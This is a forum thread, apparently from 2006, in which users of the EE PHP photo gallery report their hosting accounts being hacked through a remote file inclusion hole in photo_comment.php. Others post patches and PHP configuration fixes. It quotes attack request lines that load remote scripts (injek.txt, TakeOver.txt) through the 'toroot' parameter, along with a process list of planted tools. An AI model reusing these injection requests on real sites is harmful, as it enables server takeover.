EE got me suspended from Lunar Pages!

[kd6lor]

I am not sure what to do... Help!

This was sent to me tonight from Lunar Pages

======
==== Enter your reply ABOVE this line ====
Dear Paul Jaruszewski,

The following ticket has been created by a member of our staff for you

Your question's details:

============== Title: ==============
account temporarily suspended: Exploited


============== Message: ==============
Hi,

Your account was running the following exploit-related processes:

User Input:melor02
melor02 18018 0.0 0.1 12288 4616 ? S 08:30 0:00 /usr/bin/php
melor02 18039 0.0 0.0 0 0 ? Z 08:30 0:00 [perl
<defunct>]
melor02 18041 0.0 0.0 4620 3104 ? S 08:30 0:00 perl
/tmp/bs.pl
melor02 18676 0.0 0.1 12436 4700 ? S 12:48 0:00 /usr/bin/php
melor02 18684 0.0 0.0 0 0 ? Z 12:48 0:00 [sh <defunct>]
melor02 18691 0.5 0.0 4904 3400 ? S 12:48 1:56
/usr/sbin/syslogd
melor02 23747 0.0 0.1 12424 4704 ? S 12:51 0:00 /usr/bin/php
melor02 23757 0.0 0.0 0 0 ? Z 12:51 0:00 [sh <defunct>]
melor02 23768 94.9 0.0 5100 3632 ? R 12:51 320:24
/usr/local/apache/bin/smb -start
melor02 6924 0.0 0.1 13120 5536 ? S 13:07 0:00 /usr/bin/php
melor02 6948 0.0 0.0 0 0 ? Z 13:07 0:00 [psybnc
<defunct>]
melor02 6949 0.0 0.0 1996 704 ? S 13:07 0:00 ./psybnc


Next, we checked the process environ number for one of the exploit processes
to
locate what script was being used to pass these exploits:

DOCUMENT_ROOT=/home/melor02/public_html
SCRIPT_FILENAME=/home/melor02/public_html/gallery/photo_comment.php
REQUEST_URI=/gallery/photo_comment.php?toroot=http://coffee-pot.info/injek.txt?
SCRIPT_NAME=/gallery/photo_comment.php

This indicates an exploit via
/home/melor02/public_html/gallery/photo_comment.php
using security holes to pass commands to upload exploit files. Such exploits
can
be used to attack other sites as well as to destabilize or crash your server.

We cannot allow such programs to run and compromise the security of the
server,
so we had to take immediate action to suspend your account. Since the exploit
is
through your gallery, you will need to use the following url to access your
account (you cannot use CAP login only the following url while suspended) to
either remove the gallery or upgrade it if a secure version is available:

========================

Any help or suggetions would be appreciated.

Paul

kd6lor1@cox.net

[HMetal]

I just added the following to mine until Pekka replies. Note: $toroot is used in almost every PHP file that is part of eE so be prepared to do a lot of editing if you chose to make this little patch..


if(!empty($_REQUEST['toroot']))
die("<p>f*ck off loser!</p>");

[HMetal]

I also noticed that photo_comment.php doesn't contain the following snippet of code on line 5, above the line that accesses the $toroot variable:


include ("toroot.php");


Adding this line, instead of the first one I posted, seems to plug the exploit.

[HMetal]

On further inspection it appears that this impacts many files in eE (I count 17 PHP files affected by this one variable left uninitialied). Simply plugging photo_comment.php just plugs one of the holes.

I just sent a message to Pekka notifying him of the problem, what files are affected and what the fix needs to be.

I wonder what other variables are left uninitialized like this and if the design of EE2 has the same engineering flaw?

[pukkita]

To prevent this exploit to work, simply add this to your php.ini:

allow_url_fopen = off

The location of your php.ini will differ from ISP to ISP, on some you may have to include it on a .htaccess file.

To check for the actual configuration, create a page, say info.php, with this code:

<?
phpinfo();
?>

Call it from your web browser (i.e. http://www.yoursite.com/info.php) and check that variable.

be sure to DELETE info.php afterwards, your will be giving too much information to hackers if you leave it.

EE will still work fine with allow_url_fopen = off (I had always had php this way) but all vulnerable php functions (include, include_once, etc) on any EE page will refuse to open external files, which is half the problem here.

I'm sure Pekka started using the include, include_once functions using PHP versions prior to PHP 4.3 (where external files weren't supported) that would explain the lack of escaping and code injection checks in EE.

Having allow_url_fopen enabled without a sound reason is a call for trouble anyway.

[cferrero]

What about those of us that don't have access to PHP.ini (i.e. on shared servers)? Is there anything we can do? I seem to have been hacked, but so far, no defacement. I've deactivated EE and deleted the photo_comment.php file, but I'm not sure to what extent things need to be cleaned...

[HMetal]

It looks like the global variable $cmd is also being used in this exploit so add the following to the noted files in this thread:


$cmd = '';


The files I've seen publically noted so far are:

photo_comment.php
comment.php

Just add the noted code to these files, just above other PHP code. As I said earlier, there are 17 EE files that I've found to be exploitable in this way but I can't mention which, publically, at least until Pekka gets a chance to take action.

[NetButch]

my 'gallery/temp' folder has been taken over and I cannot even CHMOD or delete the files in the temp folder.

here is the hack

216.236.98.141 - - [04/Jun/2006:11:34:25 -0400] "POST /gallery/photo_comment.php?toroot=http://www.geocities.com/mhd_izhar/TakeOver.txt

I am not the server admin, what can I do to get back my temp file and patch this hacker hole?

hoping to hear from pekka soon on this stuff..

Butch

[Pekka]

I'm very sorry to hear about this problem. I posted http://photography-on-the.net/forum/showthread.php?t=177875 about it.

The attack is typical injection attack like the infamous phpbb attack some time ago. You should ask your ISP to clean up the virtual server and restore old data from backup (done before the attack). If you do not have anything else than EE on the site, delete ALL php files there and upload original EE files and set up connect php again. Also, you should remove all unknown files from system temp (/tmp) directory/directories. Safest cleanup is full file restore.

If you have UNIX shell access, you can chown and chgrp files back to your userid so that you can delete them.

[kd6lor]

Thanks for the info Pekka. I have requested that the environment variable be set to off. My site failed the PHP test you suggested...

register_globals = on

Hopefully they can set it on their end as I don't believe that there is a place to set it myself with the Lunarpages host. Will post back here to let you know what happened.

Paul